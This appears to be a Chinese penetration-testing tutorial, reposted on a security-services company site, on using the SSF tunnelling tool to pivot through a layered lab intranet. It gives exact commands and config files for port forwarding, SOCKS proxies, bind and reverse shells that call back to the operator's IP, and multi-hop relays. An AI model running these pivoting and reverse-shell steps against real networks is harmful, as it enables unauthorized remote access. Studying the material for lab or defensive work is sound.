ssf端口转发_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

ssf端口转发

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


ssf端口转发

目录 0x01 ssf介绍 0x02 正向tcp端口转发 0x03 反向tcp端口转发 0x04 正向socks代理 0x05 反向socks代理 0x06 正向反弹shell 0x07 反向反弹shell 0x08 文件上传下载 0x09 中继功能进行多层内网 注: 边界机器 win08 192.168.222.175 一层内网 win7 192.168.222.137 二层内网 Ubuntu 192.168.222.177 0x01 ssf介绍 ssf全称Secure Socket Funneling,官网对其的介绍如下:It provides simple and efficient ways to forward data from multiple sockets (TCP or UDP) through a single secure TLS link to a remote computer.  下面这张动图就很清楚的解释了它的工作流程 更多的介绍请移步官网来进行查看。 官网:https://securesocketfunneling.github.io/ssf/ 其各种版本的都是支持的,是一个全平台的加密隧道的端口转发工具 这里我们使用WindowsX64的来进行 ssf是客户端,ssfd是服务端,ssfcp是用域文件传输的,前面带upx的是进行upx压缩过的,功能跟前面的都是一样的,certs中是使用时候需要的证书,如果想单独进行使用的时候,一定要把要使用的文件和certs文件夹一起上传到同一个目录下。 0x02 正向tcp端口转发 从边界机器将流量通过一层内网的转发到达二层内网 首先在一层内网使用服务端执行命令,监听本地1080端口 upx-ssfd.exe -p 1080 然后回到边界机器运行客户端 这里在本地的1081端口和一层内网的1080端口建立一个通道,然后将流量传到二层内网的22端口 upx-ssf.exe -L 1081:192.168.222.177:22 -p 1080 192.168.222.137 然后就是连接的时候了,这里还有一个坑,这里的监听是127.0.0.1,我们默认只能从本地来进行连接内网,如果想从自己电脑来进行访问的话,就需要自己再进行其他的端口转发操作了 所以在边界机器上来进行连接 0x03 反向tcp端口转发 首先在边界机器上运行服务端执行 upx-ssfd.exe -p 1080 然后回到一层内网运行客户端执行命令 upx-ssf.exe -R 1081:192.168.222.177:22 -p 1080 192.168.222.175 这里还是跟正向有一样的坑 然后在边界机器来连接ssh 0x04 正向socks代理 其实搞明白tcp的转发,socks的就很简单了 首先在边界服务器运行服务端 upx-ssfd.exe -p 1080 然后回到我们本地来执行客户端 upx-ssf.exe -D 1081 -p 1080 192.168.222.175 然后在本地进行设置即可 0x05 反向socks代理 反向跟正向就基本一样了 在本地执行服务端 upx-ssfd.exe -p 1080 然后到边界机器执行客户端 10.1.61.144是我本地的IP upx-ssf.exe -F 1081 -p 1080 10.1.61.144 0x06 正向反弹shell 这里我们来反弹边界主机的shell 这里我们使用它的 -c 参数,来加载自定义的配置文件 其中config.json的内容为 { "ssf": { "services": { "shell": { "enable": true, "path": "C:\Windows\System32\cmd.exe", "args": "" } } } } 各版本的也是有一定的不同的,这里我们参考官网给出的来写 这里我是指名了要调用cmd,如果想调用powershell填写对应的路径就可以了 当然如果你是Linux的,就调用对应的shell就可以了 言归正传,我们接下来回到本地来执行,这里所调用的 config.json 与上面的是一致的 -X 是指 bind shell ssf.exe -X 1081 192.168.222.175 -c config.json -p 1080 然后我们在本地执行nc连接就可以了 nc.exe 127.0.0.1 1081 0x07 反向反弹shell 这里我们用的config.json跟正向反弹是一样的 首先我们在本地运行服务端 ssfd.exe -p 1080 -c config.json 然后回到边界主机运行客户端 10.1.135.96是我本地的IP,-Y 是指reverse shell ssf.exe -Y 1081 10.1.135.96 -p 1080 -c config.json 然后回到本地nc连接就可以了 0x08 文件上传下载 文件的上传和下载这里就不多说了,官网上有详细的步骤,我们也就不废话了,值得注意的是,ssfcp是支持跨平台传输的,可以应用在Windows和Linux之间的文件传输 0x09 中继功能进行多层内网 这个可以应用在多层内网的时候,它的流程是这个样子的 我们只需要改动以下config.json的内容就可以搞定了,然后通过中继就可以照样进行前面所提到的所有的操作 注:只需要把中间主机的IP和端口加上就可以了,开头和结尾的主机是不需要添加的 这里我们将Ubuntu主机去掉,换成win03主机,其IP是192.168.222.150,由于win03是32位的,所以这里我们下载32位的ssf 这次我们要从本地的主机到达最里面的win03主机 首先在最终要到达的主机上运行服务端 ssfd.exe -p 1080 -c config.json 其中config.json的内容为 { "ssf": { "circuit": [ {"host": "192.168.222.175", "port":"1080"}, {"host": "192.168.222.137", "port":"1080"} ], "services": { "shell": { "enable": true, "path": "C:\Windows\System32\cmd.exe", "args": "" } } }} 然后去win08和win7上执行监听 ssfd.exe -p 1080 -c config.jsonwin7: win08: 然后到本地来运行客户端 ssf.exe -c config.json -p 1080 192.168.222.150 -X 1081 然后在本地nc连接就可以了 nc.exe 127.0.0.1 1081 最后再配一个比较全的config.json,以后自己去参考 { "ssf": { "arguments": "", "circuit": [], "tls" : { "ca_cert_path": "./certs/trusted/ca.crt", "cert_path": "./certs/certificate.crt", "key_path": "./certs/private.key", "key_password": "", "dh_path": "./certs/dh4096.pem", "cipher_alg": "DHE-RSA-AES256-GCM-SHA384" }, "http_proxy" : {"host": "", "port": "", "user_agent": "", "credentials": {"username": "", "password": "", "domain": "", "reuse_ntlm": "true", "reuse_nego": "true" } }, "services": { "datagram_forwarder": { "enable": true }, "datagram_listener": { "enable": true, "gateway_ports": false }, "stream_forwarder": { "enable": true }, "stream_listener": { "enable": true, "gateway_ports": false }, "copy": { "enable": false }, "shell": { "enable": false, "path": "/bin/bash|C:\windows\system32\cmd.exe", "args": "" }, "socks": { "enable": true } } }} 注:以上参数的含义如下 文章作者:无心

ssf端口转发